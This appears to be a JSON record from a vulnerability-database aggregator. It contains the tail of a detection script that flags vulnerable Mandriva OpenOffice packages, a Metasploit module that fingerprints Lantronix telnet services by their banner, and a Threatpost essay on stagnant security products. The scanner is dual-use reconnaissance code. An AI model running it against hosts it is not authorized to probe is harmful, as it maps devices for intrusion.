isrpmvuln(pkg:\"openoffice.org-style-galaxy\", rpm:\"openoffice.org-style-galaxy~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-hicontrast\", rpm:\"openoffice.org-style-hicontrast~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-industrial\", rpm:\"openoffice.org-style-industrial~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-tango\", rpm:\"openoffice.org-style-tango~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-testtool\", rpm:\"openoffice.org-testtool~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-voikko\", rpm:\"openoffice.org-voikko~3.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-wiki-publisher\", rpm:\"openoffice.org-wiki-publisher~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-writer\", rpm:\"openoffice.org-writer~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"voikko-tools\", rpm:\"voikko-tools~2.2.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libvoikko\", rpm:\"libvoikko~2.2.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64voikko1\", rpm:\"lib64voikko1~2.2.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64voikko-devel\", rpm:\"lib64voikko-devel~2.2.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "metasploit": [{"lastseen": "2019-04-11T08:02:51", "bulletinFamily": "exploit", "description": "Detect Lantronix telnet services", "modified": "2017-07-24T13:26:21", "published": "2012-02-23T23:22:32", "id": "MSF:AUXILIARY/SCANNER/TELNET/LANTRONIX_TELNET_VERSION", "href": "", "type": "metasploit", "title": "Lantronix Telnet Service Banner Detection", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::Telnet\n include Msf::Auxiliary::Scanner\n include Msf::Auxiliary::Report\n\n def initialize\n super(\n 'Name' => 'Lantronix Telnet Service Banner Detection',\n 'Description' => 'Detect Lantronix telnet services',\n 'Author' => ['theLightCosine', 'hdm'],\n 'License' => MSF_LICENSE\n )\n register_options(\n [\n Opt::RPORT(9999),\n OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])\n ])\n\n deregister_options('USERNAME','PASSWORD')\n end\n\n def to\n return 30 if datastore['TIMEOUT'].to_i.zero?\n datastore['TIMEOUT'].to_i\n end\n\n def run_host(ip)\n begin\n ::Timeout.timeout(to) do\n res = connect\n if banner.start_with? \"MAC address\"\n print_good(\"#{ip}:#{rport} TELNET: #{banner}\")\n version = banner.match(/Software version [\\w\\.]+ \\(\\d+\\) \\w*$/)[0]\n report_service(:host => rhost, :port => rport, :name => \"telnet\", :info => \"Lantronix Version: #{version}\" )\n end\n end\n rescue ::Rex::ConnectionError\n rescue Timeout::Error\n print_error(\"#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.\")\n rescue ::Exception => e\n print_error(\"#{e} #{e.backtrace}\")\n end\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb"}], "threatpost": [{"lastseen": "2018-10-06T23:05:32", "bulletinFamily": "info", "description": "I engaged in a long twitter conversation with [Daniel Kennedy](<http://www.twitter.com/danielkennedy74>) the other\n\nday, and it made me realize that I have little faith in the information security industry right now. The industry does not seem to be evolving as fast \nas the threats against information security are. \n\nI engaged with Daniel after he \nposted this:\n\n\n\nIn the imperfect 140-character world that is twitter \ncommunication, I responded with the following:\n\n\n\nThe information security industry is constantly changing. Evidence \nof this change can be seen each year at the [RSA Conference](<http://www.rsaconference.com/>) held in San Francisco. \nPart educational conference and part trade show, the RSA Conference is the \nlargest[1] \nannual gathering of the information security community. The conference seems to \nget bigger every year \u2013 I know there have been some down years with fewer \nsponsors, attendees, and exhibitions \u2013 but for the most part it continues to \ngrow. The trade show floor is an amazing place \u2013 vast and filled with noise and \nvisual distraction.\n\nYou can see the latest products making their appearances, \nfrom hard drive shredders (to protect your data when you\u2019re disposing of a hard \ndrive) to intrusion detection appliances (to inform you if someone is trying to \nbreak into your network). Sales and marketing people try every possible tactic to \nget you into a booth, whether your badge says \u201cPress,\u201d \u201cSpeaker,\u201d or \u201cAttendee.\u201d \nYou can play games to win prizes, add your business card to a fishbowl in hopes \nof winning an iPad, or chat with \u201cbooth babes\u201d paid to flirt with attendees.\n\nThe reason for these antics is two-fold. First, as I \nmentioned, the show floor is noisy, and you have to be creative to have your \nproducts noticed. Second, and more importantly, the latest products just \naren\u2019t much different from what they were showing last year. Even in the \n\u201cInnovation Sandbox\u201d there [wasn\u2019t \nmuch that was truly \u201cnew thinking](<http://www.secureconsulting.net/2011/02/rsa-2011-disinnovation-sandbox.html>).\u201d\n\nI\u2019d like to discuss three examples of how I believe the \ninformation security industry is failing to innovate. These examples focus on anti-malware, \nfirewalls and web filters, all technologies that many people encounter on a \nday-to-day basis. I realize that this may not represent the whole story, and \nthat it is likely that truly innovative things are happening in the industry. \nHowever, by failing to innovate in _these_ \nspecific technologies, the industry makes it appear that not much is changing.\n\n**Anti-malware**\n\nEveryone can probably agree that it is important to have an \nanti-malware solution to protect systems from viruses, trojans, spyware, and \nother bad things. [Even on \nApple systems](<http://securitymusings.com/article/2784/malware-branching-out>). But it is disappointing that some anti-malware software really hasn\u2019t much beyond the first version of antivirus software I ever installed \n(Norton AntiVirus, circa 1992). Anti-malware software generally works by using \n\u201csignature\u201d files. These files take a sample of a known virus, figure out how \nto identify it, and use that signature to detect if virus code exists in any \nfile that your system reads or writes.\n\nSignature files are why your anti-malware software needs to \nbe updated regularly. As new viruses are discovered, new signature files need \nto be produced to notice these viruses. The makers of this software started \ncharging for these updates in the late 1990s, and quickly became very large and \nvaluable companies. (Intel recently bought McAfee for $7.6 billion, and \nSymantec\u2019s annual revenue for 2010 was about $6 billion.)\n\nWhile makers of anti-malware software are doing some \ninnovation (adding some capabilities to perform heuristic-based virus \ndetection), some of them leave these capabilities disabled by default because they are \nineffective, result in false positives, and slow down system performance. Sometimes \nthe vendors roll out a change or update, and **really** screw things up. It is in \nthe best interest of anti-malware vendors to keep you paying for your updates, \nand certainly false positives and slowing your system down aren\u2019t going to \nencourage you to do that. So, instead of innovating, some AV makers stay conservative and \ntry to keep you paying for updates. Some vendors have begun rolling out new features like sandboxes and advanced whitelisting, but more innovation is needed.\n\n**Firewalls**\n\nThe idea of a firewall isn\u2019t new. In fact, firewall is a \nword that actually [meant something \nelse](<http://en.wikipedia.org/wiki/Firewall_%28construction%29>) before computers were interconnected by networks. Firewalls are meant \nto stop something from getting in or out. In building construction, a firewall \nprevents the spread of fire in or out of an area. With a network firewall, we \nare talking about blocking specific kinds of network traffic \u2013 either into your \nnetwork, or out of your network and on to another one.\n\nIn the early days, if you wanted to prevent your users from \nusing the IRC chat protocol, you would configure your firewall to not allow \ntraffic over the port most of them use (6667)[2]. \nThis would stop the traffic for a while, but the chat operators would notice \nthey were being blocked at firewalls, and would reconfigure their IRC server to \nuse a different port, and suddenly the firewall wasn\u2019t blocking them anymore. Firewalls \nhave innovated over time to prevent these simple bypasses. With the advent of \nstateful and application layer firewall technologies, simply changing the port \nof the communication was no longer effective. However, over time, people have [found ways past those technologies](<http://thc.org/papers/fw-backd.htm>) \nas well.\n\nMany information security \u201cexperts\u201d rightly indicate that a \u201c[defense in \ndepth](<http://en.wikipedia.org/wiki/Defense_in_depth_%28computing%29>)\u201d strategy is most effective to \nprevent attacks. However, many have incorrectly implemented this strategy with \na depth of firewalls. Firewalls are put in place at the desktop, within the \nintranet, at the connection point to the Internet, and even [in front of \nspecific applications](<https://www.owasp.org/index.php/Web_Application_Firewall>). Since in recent years there hasn\u2019t been much innovation \nof firewall technology, introducing additional complexity to firewalls could \naffect their reliability, which would, in turn, make you stop buying them. \nInstead, you\u2019re encouraged to implement \u201cdefense in depth\u201d and buy even more \nfirewalls!\n\n**Web Filtering**\n\nWeb filtering is like a hybrid of the anti-malware and \nfirewall technologies mentioned above. Like a firewall, the web filter is \ndesigned to stop something from getting in or out; the web filter\u2019s job is to \nkeep users from getting to certain websites, lest they be exposed to the \ncontent it provides. Web filters take as input lists of sites that users should \n(or should not) be allowed to visit. These lists, like anti-malware signature \nfiles, must be updated constantly as the content available on the web is \nconstantly changing.\n\nDeveloping a list of all the pornographic, violent, hate, \nand/or gambling content on the Internet is a daunting task to say the least; \neven Google struggles constantly to index the majority of Internet content and \nprovide relevant search results. Since Google is one of the 30 or so largest \ncompanies in the world (by market capitalization), I suspect they are probably \nbetter suited to index the entirety of the Internet than most web filtering \nvendors are. The whole notion of a web filtering product is that it will block users \nfrom accessing content which is deemed harmful. Web filtering solutions must \ndetermine if a particular site is already known to fit a particular category, \nand if not it must be categorized \u2013 all in real time, when the user clicks a \nlink. Web filtering solutions can easily create false positives (for example, \nthinking a site for researching pharmaceutical products is related to illicit \ndrug use) or miss sites that should be filtered (for example a \u201chate speech\u201d \nsite). And while this is happening, smart \n(or determined) individuals will [find ways to \nget past](<http://www.wikihow.com/Bypass-a-Firewall-or-Internet-Filter>) the technical hurdles.\n\nWhen it comes to information security, web filtering is \ninnovation, but it is innovation of the wrong kind. Instead of finding new and \nbetter ways to educate users about Internet use, web filters instead are being \nused as a technical tool to try and protect people from themselves. \nOrganizations pay for these solutions because it gives them peace of mind, \nthinking they have done the right thing by protecting users from an unsafe or \nundesirable working environment. Instead, their employees become frustrated \nbecause they cannot do Internet-based research that their job requires. \nOrganizations feel it is just easier to pay for a web filtering solution and \nassume the problem has been solved, than to invest in the employees and truly \neducate them.\n\n**Evolving Threats**\n\nAs the technologies I\u2019ve described above have shown limited \nevolution, the threat landscape has not. Threats have been transforming in a \nnumber of fundamental ways over the last few years. The most significant threat \nagainst a system has traditionally been the lonely teenage computer-geek with \nno money but lots of time. Now, the scariest thing you\u2019ll hear about is the \n\u201cadvanced persistent threat\u201d or APT. The term has been terribly overused, \nmostly as a scare tactic to get customers to buy nearly any tool that the \nsecurity industry can create. However, when the APT refers to state-sponsored \nattacks such as [Operation \nAurora](<http://siblog.mcafee.com/cto/operation-%E2%80%9Caurora%E2%80%9D-hit-google-others/>), the dynamic changes.\n\nThis type of \nthreat offers potentially unlimited budgets and no fear of prosecution or \nretaliation for its creators. After Aurora came [Stuxnet](<http://securitymusings.com/article/2405/stuxnet-attribution-war-of-words>), \nanother likely state-sponsored attack which was even more sophisticated \u2013 \nleading even to [unrecoverable \nphysical damage](<http://www.jpost.com/Defense/Article.aspx?id=200843>) to devices, aside from complete compromise of computing \ninfrastructure. Stuxnet showed that threats are becoming more targeted, identifying \nspecific infrastructures and systems to attack and destroy, as opposed to bored \nteenagers just looking to [deface a web \nsite](<http://www.zone-h.org/archive>).\n\nTools are constantly being developed and updated to [simplify the creation of \nmalware](<http://krebsonsecurity.com/tag/exploit-pack/>) and to [hide \nmalware from virus scanners](<http://0entropy.blogspot.com/2011/01/meterpreter-xor-for-further-av-bypass.html>). In 2009, Symantec saw the presence of over \n90,000 variants of ZeuS, one of the bigger malware tool kits. Attacks are \nfocusing less on machines and networks, and more on applications, which often \nprovide a larger and less protected attack surface. [Tools are being developed](<http://w3af.sourceforge.net/>) to make web application \nattacks easier, too. And let\u2019s not forget the growing \nthreat of information disclosure and data leakage (by insider or by attacker) \nand the resultant posting of critical information to sites like Wikileaks.\n\nAnd what about the information security industry itself? In \nthe last year disconnects have occurred between what information security \nvendors purportedly provide in terms of safety, and their ability to protect \nthemselves from attack. Specifically, [HBGary \nFederal](<http://www.eweek.com/c/a/Security/Anonymous-Attacks-HBGary-Federal-Steals-Corporate-Email-582234/>) and [RSA \nSecurity](<http://blogs.rsa.com/rivner/anatomy-of-an-attack/>) both suffered fairly spectacular break-ins and compromises. Other large organizations such as [Sony](<http://www.theregister.co.uk/2011/04/26/sony_playstation_network_security_breach/>) \nand [Epsilon](<http://www.newsmax.com/SciTech/SophisticatedCyberThievesbehindEpsilonAttack/2011/04/07/id/392086>) \nsuffered breaches affecting millions, with significant downtime.\n\n**Conclusion**\n\nI\u2019ve described three technologies associated with the \ninformation security industry which people are most likely to encounter in their \nday-to-day computer use: anti-malware, firewalls, and web filtering. In each of \nthese technologies, innovation has occurred over time. And yet, the presence of \nthreats and the successful execution of all kinds of cybercrime indicate that \nthe rate of innovation is not fast enough. The attackers are innovating more \nquickly than the information security industry is, resulting in more successful \nattacks and breaches on a regular basis.\n\nThe information security industry is faced with a challenge: \ntruly innovate or keep the status quo. Financially, there is motivation for the \nlarger players in the information security industry to keep the status quo. It \nis likely going to be up to smaller organizations and startups to provide true \ninnovation in security tools and technologies.\n\n* * *\n\n[1] I \ndo not have conclusive proof that this is true. It is possible there are larger \ngatherings, but I know of no other gatherings that attract people from all the \ndifferent facets of the industry \u2013, salespeople, visionaries, hackers, \nluminaries, authors, and customers.\n\n[2] \nWithout going into a lot of detail about how most TCP and UDP networking works, \nmany client/server protocols have a port which they \u201clisten\u201d or \u201csend\u201d on. \nHTTP, which is the protocol used for most web browsing traffic, uses port 80, \nfor example. More information can be found [here](<http://en.wikipedia.org/wiki/Port_number>).\n\n_Peter Hesse is the founder and president of Gemini Security Solutions. _\n", "modified": "2013-05-02T18:31:36", "published": "2011-05-31T11:41:02", "id": "THREATPOST:9FEEF77D7E8CF48CA04606D5E73B080A", "href": "https://threatpost.com/infosec-industry-isnt-evolving-053111/75281/", "type": "threatpost", "title": "The Infosec Industry Isn't Evolving", "cvss": {"score": 0.0, "vector": "NONE"}}]}